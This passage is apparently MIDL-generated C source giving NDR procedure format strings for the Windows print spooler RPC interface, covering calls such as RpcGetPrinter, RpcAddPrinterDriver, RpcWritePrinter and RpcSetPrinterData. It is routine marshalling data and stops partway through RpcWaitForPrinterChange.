342 | /* 286 */ NdrFcLong( 0x0 ), /* 0 */
343 | /* 290 */ NdrFcShort( 0x7 ), /* 7 */
344 | /* 292 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
345 | /* 294 */ 0x32, /* FC_BIND_PRIMITIVE */
346 | 0x0, /* 0 */
347 | /* 296 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
348 | /* 298 */ NdrFcShort( 0x0 ), /* 0 */
349 | /* 300 */ NdrFcShort( 0x8 ), /* 8 */
350 | /* 302 */ 0x44, /* Oi2 Flags: has return, has ext, */
351 | 0x1, /* 1 */
352 | /* 304 */ 0xa, /* 10 */
353 | 0x1, /* Ext Flags: new corr desc, */
354 | /* 306 */ NdrFcShort( 0x0 ), /* 0 */
355 | /* 308 */ NdrFcShort( 0x0 ), /* 0 */
356 | /* 310 */ NdrFcShort( 0x0 ), /* 0 */
357 | /* 312 */ NdrFcShort( 0x0 ), /* 0 */
358 |
359 | /* Return value */
360 |
361 | /* 314 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
362 | /* 316 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
363 | /* 318 */ 0x8, /* FC_LONG */
364 | 0x0, /* 0 */
365 |
366 | /* Procedure RpcGetPrinter */
367 |
368 | /* 320 */ 0x0, /* 0 */
369 | 0x48, /* Old Flags: */
370 | /* 322 */ NdrFcLong( 0x0 ), /* 0 */
371 | /* 326 */ NdrFcShort( 0x8 ), /* 8 */
372 | /* 328 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
373 | /* 330 */ 0x32, /* FC_BIND_PRIMITIVE */
374 | 0x0, /* 0 */
375 | /* 332 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
376 | /* 334 */ NdrFcShort( 0x0 ), /* 0 */
377 | /* 336 */ NdrFcShort( 0x8 ), /* 8 */
378 | /* 338 */ 0x44, /* Oi2 Flags: has return, has ext, */
379 | 0x1, /* 1 */
380 | /* 340 */ 0xa, /* 10 */
381 | 0x1, /* Ext Flags: new corr desc, */
382 | /* 342 */ NdrFcShort( 0x0 ), /* 0 */
383 | /* 344 */ NdrFcShort( 0x0 ), /* 0 */
384 | /* 346 */ NdrFcShort( 0x0 ), /* 0 */
385 | /* 348 */ NdrFcShort( 0x0 ), /* 0 */
386 |
387 | /* Return value */
388 |
389 | /* 350 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
390 | /* 352 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
391 | /* 354 */ 0x8, /* FC_LONG */
392 | 0x0, /* 0 */
393 |
394 | /* Procedure RpcAddPrinterDriver */
395 |
396 | /* 356 */ 0x0, /* 0 */
397 | 0x48, /* Old Flags: */
398 | /* 358 */ NdrFcLong( 0x0 ), /* 0 */
399 | /* 362 */ NdrFcShort( 0x9 ), /* 9 */
400 | /* 364 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
401 | /* 366 */ 0x32, /* FC_BIND_PRIMITIVE */
402 | 0x0, /* 0 */
403 | /* 368 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
404 | /* 370 */ NdrFcShort( 0x0 ), /* 0 */
405 | /* 372 */ NdrFcShort( 0x8 ), /* 8 */
406 | /* 374 */ 0x44, /* Oi2 Flags: has return, has ext, */
407 | 0x1, /* 1 */
408 | /* 376 */ 0xa, /* 10 */
409 | 0x1, /* Ext Flags: new corr desc, */
410 | /* 378 */ NdrFcShort( 0x0 ), /* 0 */
411 | /* 380 */ NdrFcShort( 0x0 ), /* 0 */
412 | /* 382 */ NdrFcShort( 0x0 ), /* 0 */
413 | /* 384 */ NdrFcShort( 0x0 ), /* 0 */
414 |
415 | /* Return value */
416 |
417 | /* 386 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
418 | /* 388 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
419 | /* 390 */ 0x8, /* FC_LONG */
420 | 0x0, /* 0 */
421 |
422 | /* Procedure RpcEnumPrinterDrivers */
423 |
424 | /* 392 */ 0x0, /* 0 */
425 | 0x48, /* Old Flags: */
426 | /* 394 */ NdrFcLong( 0x0 ), /* 0 */
427 | /* 398 */ NdrFcShort( 0xa ), /* 10 */
428 | /* 400 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
429 | /* 402 */ 0x32, /* FC_BIND_PRIMITIVE */
430 | 0x0, /* 0 */
431 | /* 404 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
432 | /* 406 */ NdrFcShort( 0x0 ), /* 0 */
433 | /* 408 */ NdrFcShort( 0x8 ), /* 8 */
434 | /* 410 */ 0x44, /* Oi2 Flags: has return, has ext, */
435 | 0x1, /* 1 */
436 | /* 412 */ 0xa, /* 10 */
437 | 0x1, /* Ext Flags: new corr desc, */
438 | /* 414 */ NdrFcShort( 0x0 ), /* 0 */
439 | /* 416 */ NdrFcShort( 0x0 ), /* 0 */
440 | /* 418 */ NdrFcShort( 0x0 ), /* 0 */
441 | /* 420 */ NdrFcShort( 0x0 ), /* 0 */
442 |
443 | /* Return value */
444 |
445 | /* 422 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
446 | /* 424 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
447 | /* 426 */ 0x8, /* FC_LONG */
448 | 0x0, /* 0 */
449 |
450 | /* Procedure RpcGetPrinterDriver */
451 |
452 | /* 428 */ 0x0, /* 0 */
453 | 0x48, /* Old Flags: */
454 | /* 430 */ NdrFcLong( 0x0 ), /* 0 */
455 | /* 434 */ NdrFcShort( 0xb ), /* 11 */
456 | /* 436 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
457 | /* 438 */ 0x32, /* FC_BIND_PRIMITIVE */
458 | 0x0, /* 0 */
459 | /* 440 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
460 | /* 442 */ NdrFcShort( 0x0 ), /* 0 */
461 | /* 444 */ NdrFcShort( 0x8 ), /* 8 */
462 | /* 446 */ 0x44, /* Oi2 Flags: has return, has ext, */
463 | 0x1, /* 1 */
464 | /* 448 */ 0xa, /* 10 */
465 | 0x1, /* Ext Flags: new corr desc, */
466 | /* 450 */ NdrFcShort( 0x0 ), /* 0 */
467 | /* 452 */ NdrFcShort( 0x0 ), /* 0 */
468 | /* 454 */ NdrFcShort( 0x0 ), /* 0 */
469 | /* 456 */ NdrFcShort( 0x0 ), /* 0 */
470 |
471 | /* Return value */
472 |
473 | /* 458 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
474 | /* 460 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
475 | /* 462 */ 0x8, /* FC_LONG */
476 | 0x0, /* 0 */
477 |
478 | /* Procedure RpcGetPrinterDriverDirectory */
479 |
480 | /* 464 */ 0x0, /* 0 */
481 | 0x48, /* Old Flags: */
482 | /* 466 */ NdrFcLong( 0x0 ), /* 0 */
483 | /* 470 */ NdrFcShort( 0xc ), /* 12 */
484 | /* 472 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
485 | /* 474 */ 0x32, /* FC_BIND_PRIMITIVE */
486 | 0x0, /* 0 */
487 | /* 476 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
488 | /* 478 */ NdrFcShort( 0x0 ), /* 0 */
489 | /* 480 */ NdrFcShort( 0x8 ), /* 8 */
490 | /* 482 */ 0x44, /* Oi2 Flags: has return, has ext, */
491 | 0x1, /* 1 */
492 | /* 484 */ 0xa, /* 10 */
493 | 0x1, /* Ext Flags: new corr desc, */
494 | /* 486 */ NdrFcShort( 0x0 ), /* 0 */
495 | /* 488 */ NdrFcShort( 0x0 ), /* 0 */
496 | /* 490 */ NdrFcShort( 0x0 ), /* 0 */
497 | /* 492 */ NdrFcShort( 0x0 ), /* 0 */
498 |
499 | /* Return value */
500 |
501 | /* 494 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
502 | /* 496 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
503 | /* 498 */ 0x8, /* FC_LONG */
504 | 0x0, /* 0 */
505 |
506 | /* Procedure RpcDeletePrinterDriver */
507 |
508 | /* 500 */ 0x0, /* 0 */
509 | 0x48, /* Old Flags: */
510 | /* 502 */ NdrFcLong( 0x0 ), /* 0 */
511 | /* 506 */ NdrFcShort( 0xd ), /* 13 */
512 | /* 508 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
513 | /* 510 */ 0x32, /* FC_BIND_PRIMITIVE */
514 | 0x0, /* 0 */
515 | /* 512 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
516 | /* 514 */ NdrFcShort( 0x0 ), /* 0 */
517 | /* 516 */ NdrFcShort( 0x8 ), /* 8 */
518 | /* 518 */ 0x44, /* Oi2 Flags: has return, has ext, */
519 | 0x1, /* 1 */
520 | /* 520 */ 0xa, /* 10 */
521 | 0x1, /* Ext Flags: new corr desc, */
522 | /* 522 */ NdrFcShort( 0x0 ), /* 0 */
523 | /* 524 */ NdrFcShort( 0x0 ), /* 0 */
524 | /* 526 */ NdrFcShort( 0x0 ), /* 0 */
525 | /* 528 */ NdrFcShort( 0x0 ), /* 0 */
526 |
527 | /* Return value */
528 |
529 | /* 530 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
530 | /* 532 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
531 | /* 534 */ 0x8, /* FC_LONG */
532 | 0x0, /* 0 */
533 |
534 | /* Procedure RpcAddPrintProcessor */
535 |
536 | /* 536 */ 0x0, /* 0 */
537 | 0x48, /* Old Flags: */
538 | /* 538 */ NdrFcLong( 0x0 ), /* 0 */
539 | /* 542 */ NdrFcShort( 0xe ), /* 14 */
540 | /* 544 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
541 | /* 546 */ 0x32, /* FC_BIND_PRIMITIVE */
542 | 0x0, /* 0 */
543 | /* 548 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
544 | /* 550 */ NdrFcShort( 0x0 ), /* 0 */
545 | /* 552 */ NdrFcShort( 0x8 ), /* 8 */
546 | /* 554 */ 0x44, /* Oi2 Flags: has return, has ext, */
547 | 0x1, /* 1 */
548 | /* 556 */ 0xa, /* 10 */
549 | 0x1, /* Ext Flags: new corr desc, */
550 | /* 558 */ NdrFcShort( 0x0 ), /* 0 */
551 | /* 560 */ NdrFcShort( 0x0 ), /* 0 */
552 | /* 562 */ NdrFcShort( 0x0 ), /* 0 */
553 | /* 564 */ NdrFcShort( 0x0 ), /* 0 */
554 |
555 | /* Return value */
556 |
557 | /* 566 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
558 | /* 568 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
559 | /* 570 */ 0x8, /* FC_LONG */
560 | 0x0, /* 0 */
561 |
562 | /* Procedure RpcEnumPrintProcessors */
563 |
564 | /* 572 */ 0x0, /* 0 */
565 | 0x48, /* Old Flags: */
566 | /* 574 */ NdrFcLong( 0x0 ), /* 0 */
567 | /* 578 */ NdrFcShort( 0xf ), /* 15 */
568 | /* 580 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
569 | /* 582 */ 0x32, /* FC_BIND_PRIMITIVE */
570 | 0x0, /* 0 */
571 | /* 584 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
572 | /* 586 */ NdrFcShort( 0x0 ), /* 0 */
573 | /* 588 */ NdrFcShort( 0x8 ), /* 8 */
574 | /* 590 */ 0x44, /* Oi2 Flags: has return, has ext, */
575 | 0x1, /* 1 */
576 | /* 592 */ 0xa, /* 10 */
577 | 0x1, /* Ext Flags: new corr desc, */
578 | /* 594 */ NdrFcShort( 0x0 ), /* 0 */
579 | /* 596 */ NdrFcShort( 0x0 ), /* 0 */
580 | /* 598 */ NdrFcShort( 0x0 ), /* 0 */
581 | /* 600 */ NdrFcShort( 0x0 ), /* 0 */
582 |
583 | /* Return value */
584 |
585 | /* 602 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
586 | /* 604 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
587 | /* 606 */ 0x8, /* FC_LONG */
588 | 0x0, /* 0 */
589 |
590 | /* Procedure RpcGetPrintProcessorDirectory */
591 |
592 | /* 608 */ 0x0, /* 0 */
593 | 0x48, /* Old Flags: */
594 | /* 610 */ NdrFcLong( 0x0 ), /* 0 */
595 | /* 614 */ NdrFcShort( 0x10 ), /* 16 */
596 | /* 616 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
597 | /* 618 */ 0x32, /* FC_BIND_PRIMITIVE */
598 | 0x0, /* 0 */
599 | /* 620 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
600 | /* 622 */ NdrFcShort( 0x0 ), /* 0 */
601 | /* 624 */ NdrFcShort( 0x8 ), /* 8 */
602 | /* 626 */ 0x44, /* Oi2 Flags: has return, has ext, */
603 | 0x1, /* 1 */
604 | /* 628 */ 0xa, /* 10 */
605 | 0x1, /* Ext Flags: new corr desc, */
606 | /* 630 */ NdrFcShort( 0x0 ), /* 0 */
607 | /* 632 */ NdrFcShort( 0x0 ), /* 0 */
608 | /* 634 */ NdrFcShort( 0x0 ), /* 0 */
609 | /* 636 */ NdrFcShort( 0x0 ), /* 0 */
610 |
611 | /* Return value */
612 |
613 | /* 638 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
614 | /* 640 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
615 | /* 642 */ 0x8, /* FC_LONG */
616 | 0x0, /* 0 */
617 |
618 | /* Procedure RpcStartDocPrinter */
619 |
620 | /* 644 */ 0x0, /* 0 */
621 | 0x48, /* Old Flags: */
622 | /* 646 */ NdrFcLong( 0x0 ), /* 0 */
623 | /* 650 */ NdrFcShort( 0x11 ), /* 17 */
624 | /* 652 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
625 | /* 654 */ 0x32, /* FC_BIND_PRIMITIVE */
626 | 0x0, /* 0 */
627 | /* 656 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
628 | /* 658 */ NdrFcShort( 0x0 ), /* 0 */
629 | /* 660 */ NdrFcShort( 0x8 ), /* 8 */
630 | /* 662 */ 0x44, /* Oi2 Flags: has return, has ext, */
631 | 0x1, /* 1 */
632 | /* 664 */ 0xa, /* 10 */
633 | 0x1, /* Ext Flags: new corr desc, */
634 | /* 666 */ NdrFcShort( 0x0 ), /* 0 */
635 | /* 668 */ NdrFcShort( 0x0 ), /* 0 */
636 | /* 670 */ NdrFcShort( 0x0 ), /* 0 */
637 | /* 672 */ NdrFcShort( 0x0 ), /* 0 */
638 |
639 | /* Return value */
640 |
641 | /* 674 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
642 | /* 676 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
643 | /* 678 */ 0x8, /* FC_LONG */
644 | 0x0, /* 0 */
645 |
646 | /* Procedure RpcStartPagePrinter */
647 |
648 | /* 680 */ 0x0, /* 0 */
649 | 0x48, /* Old Flags: */
650 | /* 682 */ NdrFcLong( 0x0 ), /* 0 */
651 | /* 686 */ NdrFcShort( 0x12 ), /* 18 */
652 | /* 688 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
653 | /* 690 */ 0x32, /* FC_BIND_PRIMITIVE */
654 | 0x0, /* 0 */
655 | /* 692 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
656 | /* 694 */ NdrFcShort( 0x0 ), /* 0 */
657 | /* 696 */ NdrFcShort( 0x8 ), /* 8 */
658 | /* 698 */ 0x44, /* Oi2 Flags: has return, has ext, */
659 | 0x1, /* 1 */
660 | /* 700 */ 0xa, /* 10 */
661 | 0x1, /* Ext Flags: new corr desc, */
662 | /* 702 */ NdrFcShort( 0x0 ), /* 0 */
663 | /* 704 */ NdrFcShort( 0x0 ), /* 0 */
664 | /* 706 */ NdrFcShort( 0x0 ), /* 0 */
665 | /* 708 */ NdrFcShort( 0x0 ), /* 0 */
666 |
667 | /* Return value */
668 |
669 | /* 710 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
670 | /* 712 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
671 | /* 714 */ 0x8, /* FC_LONG */
672 | 0x0, /* 0 */
673 |
674 | /* Procedure RpcWritePrinter */
675 |
676 | /* 716 */ 0x0, /* 0 */
677 | 0x48, /* Old Flags: */
678 | /* 718 */ NdrFcLong( 0x0 ), /* 0 */
679 | /* 722 */ NdrFcShort( 0x13 ), /* 19 */
680 | /* 724 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
681 | /* 726 */ 0x32, /* FC_BIND_PRIMITIVE */
682 | 0x0, /* 0 */
683 | /* 728 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
684 | /* 730 */ NdrFcShort( 0x0 ), /* 0 */
685 | /* 732 */ NdrFcShort( 0x8 ), /* 8 */
686 | /* 734 */ 0x44, /* Oi2 Flags: has return, has ext, */
687 | 0x1, /* 1 */
688 | /* 736 */ 0xa, /* 10 */
689 | 0x1, /* Ext Flags: new corr desc, */
690 | /* 738 */ NdrFcShort( 0x0 ), /* 0 */
691 | /* 740 */ NdrFcShort( 0x0 ), /* 0 */
692 | /* 742 */ NdrFcShort( 0x0 ), /* 0 */
693 | /* 744 */ NdrFcShort( 0x0 ), /* 0 */
694 |
695 | /* Return value */
696 |
697 | /* 746 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
698 | /* 748 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
699 | /* 750 */ 0x8, /* FC_LONG */
700 | 0x0, /* 0 */
701 |
702 | /* Procedure RpcEndPagePrinter */
703 |
704 | /* 752 */ 0x0, /* 0 */
705 | 0x48, /* Old Flags: */
706 | /* 754 */ NdrFcLong( 0x0 ), /* 0 */
707 | /* 758 */ NdrFcShort( 0x14 ), /* 20 */
708 | /* 760 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
709 | /* 762 */ 0x32, /* FC_BIND_PRIMITIVE */
710 | 0x0, /* 0 */
711 | /* 764 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
712 | /* 766 */ NdrFcShort( 0x0 ), /* 0 */
713 | /* 768 */ NdrFcShort( 0x8 ), /* 8 */
714 | /* 770 */ 0x44, /* Oi2 Flags: has return, has ext, */
715 | 0x1, /* 1 */
716 | /* 772 */ 0xa, /* 10 */
717 | 0x1, /* Ext Flags: new corr desc, */
718 | /* 774 */ NdrFcShort( 0x0 ), /* 0 */
719 | /* 776 */ NdrFcShort( 0x0 ), /* 0 */
720 | /* 778 */ NdrFcShort( 0x0 ), /* 0 */
721 | /* 780 */ NdrFcShort( 0x0 ), /* 0 */
722 |
723 | /* Return value */
724 |
725 | /* 782 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
726 | /* 784 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
727 | /* 786 */ 0x8, /* FC_LONG */
728 | 0x0, /* 0 */
729 |
730 | /* Procedure RpcAbortPrinter */
731 |
732 | /* 788 */ 0x0, /* 0 */
733 | 0x48, /* Old Flags: */
734 | /* 790 */ NdrFcLong( 0x0 ), /* 0 */
735 | /* 794 */ NdrFcShort( 0x15 ), /* 21 */
736 | /* 796 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
737 | /* 798 */ 0x32, /* FC_BIND_PRIMITIVE */
738 | 0x0, /* 0 */
739 | /* 800 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
740 | /* 802 */ NdrFcShort( 0x0 ), /* 0 */
741 | /* 804 */ NdrFcShort( 0x8 ), /* 8 */
742 | /* 806 */ 0x44, /* Oi2 Flags: has return, has ext, */
743 | 0x1, /* 1 */
744 | /* 808 */ 0xa, /* 10 */
745 | 0x1, /* Ext Flags: new corr desc, */
746 | /* 810 */ NdrFcShort( 0x0 ), /* 0 */
747 | /* 812 */ NdrFcShort( 0x0 ), /* 0 */
748 | /* 814 */ NdrFcShort( 0x0 ), /* 0 */
749 | /* 816 */ NdrFcShort( 0x0 ), /* 0 */
750 |
751 | /* Return value */
752 |
753 | /* 818 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
754 | /* 820 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
755 | /* 822 */ 0x8, /* FC_LONG */
756 | 0x0, /* 0 */
757 |
758 | /* Procedure RpcReadPrinter */
759 |
760 | /* 824 */ 0x0, /* 0 */
761 | 0x48, /* Old Flags: */
762 | /* 826 */ NdrFcLong( 0x0 ), /* 0 */
763 | /* 830 */ NdrFcShort( 0x16 ), /* 22 */
764 | /* 832 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
765 | /* 834 */ 0x32, /* FC_BIND_PRIMITIVE */
766 | 0x0, /* 0 */
767 | /* 836 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
768 | /* 838 */ NdrFcShort( 0x0 ), /* 0 */
769 | /* 840 */ NdrFcShort( 0x8 ), /* 8 */
770 | /* 842 */ 0x44, /* Oi2 Flags: has return, has ext, */
771 | 0x1, /* 1 */
772 | /* 844 */ 0xa, /* 10 */
773 | 0x1, /* Ext Flags: new corr desc, */
774 | /* 846 */ NdrFcShort( 0x0 ), /* 0 */
775 | /* 848 */ NdrFcShort( 0x0 ), /* 0 */
776 | /* 850 */ NdrFcShort( 0x0 ), /* 0 */
777 | /* 852 */ NdrFcShort( 0x0 ), /* 0 */
778 |
779 | /* Return value */
780 |
781 | /* 854 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
782 | /* 856 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
783 | /* 858 */ 0x8, /* FC_LONG */
784 | 0x0, /* 0 */
785 |
786 | /* Procedure RpcEndDocPrinter */
787 |
788 | /* 860 */ 0x0, /* 0 */
789 | 0x48, /* Old Flags: */
790 | /* 862 */ NdrFcLong( 0x0 ), /* 0 */
791 | /* 866 */ NdrFcShort( 0x17 ), /* 23 */
792 | /* 868 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
793 | /* 870 */ 0x32, /* FC_BIND_PRIMITIVE */
794 | 0x0, /* 0 */
795 | /* 872 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
796 | /* 874 */ NdrFcShort( 0x0 ), /* 0 */
797 | /* 876 */ NdrFcShort( 0x8 ), /* 8 */
798 | /* 878 */ 0x44, /* Oi2 Flags: has return, has ext, */
799 | 0x1, /* 1 */
800 | /* 880 */ 0xa, /* 10 */
801 | 0x1, /* Ext Flags: new corr desc, */
802 | /* 882 */ NdrFcShort( 0x0 ), /* 0 */
803 | /* 884 */ NdrFcShort( 0x0 ), /* 0 */
804 | /* 886 */ NdrFcShort( 0x0 ), /* 0 */
805 | /* 888 */ NdrFcShort( 0x0 ), /* 0 */
806 |
807 | /* Return value */
808 |
809 | /* 890 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
810 | /* 892 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
811 | /* 894 */ 0x8, /* FC_LONG */
812 | 0x0, /* 0 */
813 |
814 | /* Procedure RpcAddJob */
815 |
816 | /* 896 */ 0x0, /* 0 */
817 | 0x48, /* Old Flags: */
818 | /* 898 */ NdrFcLong( 0x0 ), /* 0 */
819 | /* 902 */ NdrFcShort( 0x18 ), /* 24 */
820 | /* 904 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
821 | /* 906 */ 0x32, /* FC_BIND_PRIMITIVE */
822 | 0x0, /* 0 */
823 | /* 908 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
824 | /* 910 */ NdrFcShort( 0x0 ), /* 0 */
825 | /* 912 */ NdrFcShort( 0x8 ), /* 8 */
826 | /* 914 */ 0x44, /* Oi2 Flags: has return, has ext, */
827 | 0x1, /* 1 */
828 | /* 916 */ 0xa, /* 10 */
829 | 0x1, /* Ext Flags: new corr desc, */
830 | /* 918 */ NdrFcShort( 0x0 ), /* 0 */
831 | /* 920 */ NdrFcShort( 0x0 ), /* 0 */
832 | /* 922 */ NdrFcShort( 0x0 ), /* 0 */
833 | /* 924 */ NdrFcShort( 0x0 ), /* 0 */
834 |
835 | /* Return value */
836 |
837 | /* 926 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
838 | /* 928 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
839 | /* 930 */ 0x8, /* FC_LONG */
840 | 0x0, /* 0 */
841 |
842 | /* Procedure RpcScheduleJob */
843 |
844 | /* 932 */ 0x0, /* 0 */
845 | 0x48, /* Old Flags: */
846 | /* 934 */ NdrFcLong( 0x0 ), /* 0 */
847 | /* 938 */ NdrFcShort( 0x19 ), /* 25 */
848 | /* 940 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
849 | /* 942 */ 0x32, /* FC_BIND_PRIMITIVE */
850 | 0x0, /* 0 */
851 | /* 944 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
852 | /* 946 */ NdrFcShort( 0x0 ), /* 0 */
853 | /* 948 */ NdrFcShort( 0x8 ), /* 8 */
854 | /* 950 */ 0x44, /* Oi2 Flags: has return, has ext, */
855 | 0x1, /* 1 */
856 | /* 952 */ 0xa, /* 10 */
857 | 0x1, /* Ext Flags: new corr desc, */
858 | /* 954 */ NdrFcShort( 0x0 ), /* 0 */
859 | /* 956 */ NdrFcShort( 0x0 ), /* 0 */
860 | /* 958 */ NdrFcShort( 0x0 ), /* 0 */
861 | /* 960 */ NdrFcShort( 0x0 ), /* 0 */
862 |
863 | /* Return value */
864 |
865 | /* 962 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
866 | /* 964 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
867 | /* 966 */ 0x8, /* FC_LONG */
868 | 0x0, /* 0 */
869 |
870 | /* Procedure RpcGetPrinterData */
871 |
872 | /* 968 */ 0x0, /* 0 */
873 | 0x48, /* Old Flags: */
874 | /* 970 */ NdrFcLong( 0x0 ), /* 0 */
875 | /* 974 */ NdrFcShort( 0x1a ), /* 26 */
876 | /* 976 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
877 | /* 978 */ 0x32, /* FC_BIND_PRIMITIVE */
878 | 0x0, /* 0 */
879 | /* 980 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
880 | /* 982 */ NdrFcShort( 0x0 ), /* 0 */
881 | /* 984 */ NdrFcShort( 0x8 ), /* 8 */
882 | /* 986 */ 0x44, /* Oi2 Flags: has return, has ext, */
883 | 0x1, /* 1 */
884 | /* 988 */ 0xa, /* 10 */
885 | 0x1, /* Ext Flags: new corr desc, */
886 | /* 990 */ NdrFcShort( 0x0 ), /* 0 */
887 | /* 992 */ NdrFcShort( 0x0 ), /* 0 */
888 | /* 994 */ NdrFcShort( 0x0 ), /* 0 */
889 | /* 996 */ NdrFcShort( 0x0 ), /* 0 */
890 |
891 | /* Return value */
892 |
893 | /* 998 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
894 | /* 1000 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
895 | /* 1002 */ 0x8, /* FC_LONG */
896 | 0x0, /* 0 */
897 |
898 | /* Procedure RpcSetPrinterData */
899 |
900 | /* 1004 */ 0x0, /* 0 */
901 | 0x48, /* Old Flags: */
902 | /* 1006 */ NdrFcLong( 0x0 ), /* 0 */
903 | /* 1010 */ NdrFcShort( 0x1b ), /* 27 */
904 | /* 1012 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
905 | /* 1014 */ 0x32, /* FC_BIND_PRIMITIVE */
906 | 0x0, /* 0 */
907 | /* 1016 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
908 | /* 1018 */ NdrFcShort( 0x0 ), /* 0 */
909 | /* 1020 */ NdrFcShort( 0x8 ), /* 8 */
910 | /* 1022 */ 0x44, /* Oi2 Flags: has return, has ext, */
911 | 0x1, /* 1 */
912 | /* 1024 */ 0xa, /* 10 */
913 | 0x1, /* Ext Flags: new corr desc, */
914 | /* 1026 */ NdrFcShort( 0x0 ), /* 0 */
915 | /* 1028 */ NdrFcShort( 0x0 ), /* 0 */
916 | /* 1030 */ NdrFcShort( 0x0 ), /* 0 */
917 | /* 1032 */ NdrFcShort( 0x0 ), /* 0 */
918 |
919 | /* Return value */
920 |
921 | /* 1034 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
922 | /* 1036 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
923 | /* 1038 */ 0x8, /* FC_LONG */
924 | 0x0, /* 0 */
925 |
926 | /* Procedure RpcWaitForPrinterChange */
927 |
928 | /* 1040 */ 0x0, /* 0 */
929 | 0x48, /* Old Flags: */
930 | /* 1042 */ NdrFcLong( 0x0 ), /* 0 */
931 | /* 1046 */ NdrFcShort( 0x1c ), /* 28 */
932 | /* 1048 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
933 | /* 1050 */ 0x32, /* FC_BIND_PRIMITIVE */
934 | 0x0, /* 0 */
935 | /* 1052 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
936 | /* 1054 */ NdrFcShort( 0x0 ), /* 0 */
937 | /* 1056 */ NdrFcShort( 0x8 ), /* 8 */
